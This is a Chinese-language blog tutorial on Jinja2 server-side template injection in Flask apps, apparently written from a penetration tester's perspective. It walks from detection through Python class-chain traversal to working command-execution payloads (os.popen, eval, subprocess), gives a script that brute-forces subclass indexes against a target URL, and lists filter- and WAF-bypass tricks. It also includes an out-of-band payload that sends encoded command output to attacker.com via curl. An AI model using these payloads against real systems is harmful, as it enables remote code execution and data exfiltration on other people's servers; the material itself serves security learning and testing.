news 2026/4/21 15:37:53

Jinja2 SSTI实战:从基础注入到高级绕过技巧全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Jinja2 SSTI实战:从基础注入到高级绕过技巧全解析

1. Jinja2 SSTI漏洞基础入门

第一次接触SSTI漏洞是在2018年的一个内部安全测试项目中。当时发现一个简单的{{7*7}}输入竟然在页面上返回了49,这个意外发现让我意识到模板引擎的潜在危险。Jinja2作为Flask框架默认的模板引擎,其强大的功能背后隐藏着不小的安全隐患。

SSTI(Server-Side Template Injection)的本质是用户输入被直接拼接进模板代码中执行。想象一下,如果把用户提供的数学题直接交给计算器执行,那么恶意用户完全可以输入"删除所有文件"这样的"数学题"。在Jinja2中,当开发者使用render_template_string()函数时,如果直接将用户输入作为模板内容,就会打开这个潘多拉魔盒。

判断是否存在SSTI漏洞有个简单的方法:尝试输入{{7*7}}{{'a'+'b'}}这类表达式。如果页面返回计算后的结果(49或ab),基本可以确认漏洞存在。不过要注意,不同模板引擎的语法可能有差异,Jinja2使用双花括号{{}},而有些引擎可能使用<% %>等其他符号。

理解Flask框架的工作机制很重要。当Flask处理请求时,它会将模板文件或字符串交给Jinja2引擎渲染。正常情况下,模板中的变量会被安全地转义输出。但一旦用户输入被当作模板代码解析,就会导致任意代码执行。这就好比本来只允许用户在留言板上写文字,结果却把留言板内容当成了后台代码执行。

2. 魔术方法与类继承体系

Python的魔术方法是理解SSTI利用的关键。记得我第一次看到__class__这样的属性时觉得很神秘,后来发现它们就像是对象的身份证和家族族谱。通过这组特殊属性,我们可以从一个简单字符串出发,最终找到能执行系统命令的危险方法。

让我们用实际例子来说明这个探索过程:

class Animal: def speak(self): return "Generic animal sound" class Dog(Animal): def speak(self): return "Woof!" my_dog = Dog()

在这个例子中,my_dog.__class__会指向Dog类,my_dog.__class__.__base__则指向Animal父类。Jinja2模板中,我们可以用同样的方式遍历继承链。比如{{''.__class__}}会显示字符串的类<class 'str'>,而{{''.__class__.__base__}}则显示所有字符串的基类<class 'object'>

最危险的是__subclasses__()方法,它会返回一个类的所有子类列表。在Python环境中,这些子类中往往包含可以执行命令或操作文件的类。通过脚本可以快速查找这些危险类的位置:

# 查找包含os模块的子类 for i, subclass in enumerate(''.__class__.__base__.__subclasses__()): if hasattr(subclass, '__init__') and hasattr(subclass.__init__, '__globals__'): if 'os' in subclass.__init__.__globals__: print(f"Index {i}: {subclass}")

3. 常用攻击模块与利用方式

在实战中,有几种常见的模块可以用来突破限制。文件读取通常是最先尝试的方式,特别是当目标存在_frozen_importlib_external.FileLoader这类子类时。记得有次渗透测试,通过{{''.__class__.__base__.__subclasses__()[X].get_data(0,'/etc/passwd')}}这样的payload成功读取了系统文件。

命令执行则有更多选择。如果环境中有os模块可用,最简单的就是{{config.__class__.__init__.__globals__['os'].popen('id').read()}}。但有时会遇到模块被限制的情况,这时就需要寻找替代方案:

  1. eval函数:通过内置函数执行Python代码
{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')}}
  1. subprocess模块:更隐蔽的命令执行方式
{{''.__class__.__base__.__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()[0]}}
  1. importlib技巧:动态加载危险模块
{{''.__class__.__base__.__subclasses__()[X].load_module('os').popen('id').read()}}

在实际测试中,我习惯先用Python脚本自动化查找可用的模块索引。比如这个查找popen函数的脚本:

import requests target = "http://example.com/vulnerable" for i in range(500): payload = f"{{{{''.__class__.__base__.__subclasses__()[{i}].__init__.__globals__.__contains__('popen')}}}}" r = requests.post(target, data={'input':payload}) if 'True' in r.text: print(f"Found popen at index {i}") break

4. 高级绕过技巧实战

随着防护措施的加强,基础的payload往往会被拦截。这时候就需要各种绕过技巧,就像黑客与防护系统的猫鼠游戏。记得有次遇到严格过滤的项目,光是绕过就花了三天时间,最终用十六进制编码解决了问题。

4.1 符号过滤绕过

双大括号过滤是最常见的防护措施。这时候可以改用{% if ... %}...{% endif %}这样的控制语句结构。例如:

{% if ''.__class__.__base__.__subclasses__()[X].__init__.__globals__.popen('id').read() %} {{1}} {% endif %}

中括号过滤时,可以用__getitem__方法代替。比如['os']可以写成.__getitem__('os')。我曾经遇到一个案例,通过这种替换成功绕过了WAF:

{{''.__class__.__base__.__subclasses__().__getitem__(X).__init__.__globals__.__getitem__('os').popen('id').read()}}

4.2 关键字过滤绕过

classbase等关键词被过滤时,字符串拼接是个好办法。可以用['__cl'+'ass__']或者更隐蔽的Jinja2过滤器:

{% set a='__cla' %}{% set b='ss__' %}{{ ()[a~b] }}

编码绕过也很有效,比如十六进制编码:

{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f'] }}

4.3 特殊场景处理

无回显场景下,可以考虑带外通信(OOB)或者反弹shell。我常用的一个技巧是使用curl发送数据到外部服务器:

{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__.popen('curl http://attacker.com/?data=$(whoami|base64)').read()}}

数字过滤时,可以用字符串长度或数学运算生成所需数字:

{% set idx='aaaaa'|length %}{{''.__class__.__base__.__subclasses__()[idx]}}

多重过滤组合的情况下,需要灵活组合各种技巧。比如同时过滤了点和下划线时,可以这样构造:

{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')}}

在真实环境中,防护措施往往不是单一的。我建议先通过fuzz测试确定具体的过滤规则,然后针对性地设计绕过方案。记得保存常用的payload模板,并根据实际情况调整,这能大大提高测试效率。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 15:35:21

3D打印机自动压力校准系统:应变片传感器应用

1. 项目概述&#xff1a;基于应变片的3D打印机自动压力提前校准系统在FDM&#xff08;熔融沉积成型&#xff09;3D打印领域&#xff0c;压力提前&#xff08;Pressure Advance&#xff0c;简称PA&#xff09;校准一直是个令人头疼的问题。传统方法需要反复打印测试线条&#xf…

作者头像 李华
网站建设 2026/4/21 15:32:17

智慧树刷课插件终极指南:3步实现自动学习,效率提升150%

智慧树刷课插件终极指南&#xff1a;3步实现自动学习&#xff0c;效率提升150% 【免费下载链接】zhihuishu 智慧树刷课插件&#xff0c;自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 还在为智慧树平台繁琐的视频学习而烦恼吗…

作者头像 李华
网站建设 2026/4/21 15:30:27

避开单总线那些坑:DS18B20与蓝桥杯单片机通信的5个常见错误及解决方法

避开单总线那些坑&#xff1a;DS18B20与蓝桥杯单片机通信的5个常见错误及解决方法 在蓝桥杯单片机竞赛和嵌入式开发中&#xff0c;DS18B20温度传感器因其单总线设计、高精度和低成本成为热门选择。然而&#xff0c;正是这种看似简单的单总线协议&#xff0c;让不少开发者栽了跟…

作者头像 李华
网站建设 2026/4/21 15:28:45

为什么你的直播需要LocalVocal:3分钟实现专业级本地AI字幕

为什么你的直播需要LocalVocal&#xff1a;3分钟实现专业级本地AI字幕 【免费下载链接】obs-localvocal OBS plugin for local speech recognition and captioning using AI 项目地址: https://gitcode.com/gh_mirrors/ob/obs-localvocal 你是否曾为直播或录屏内容添加字…

作者头像 李华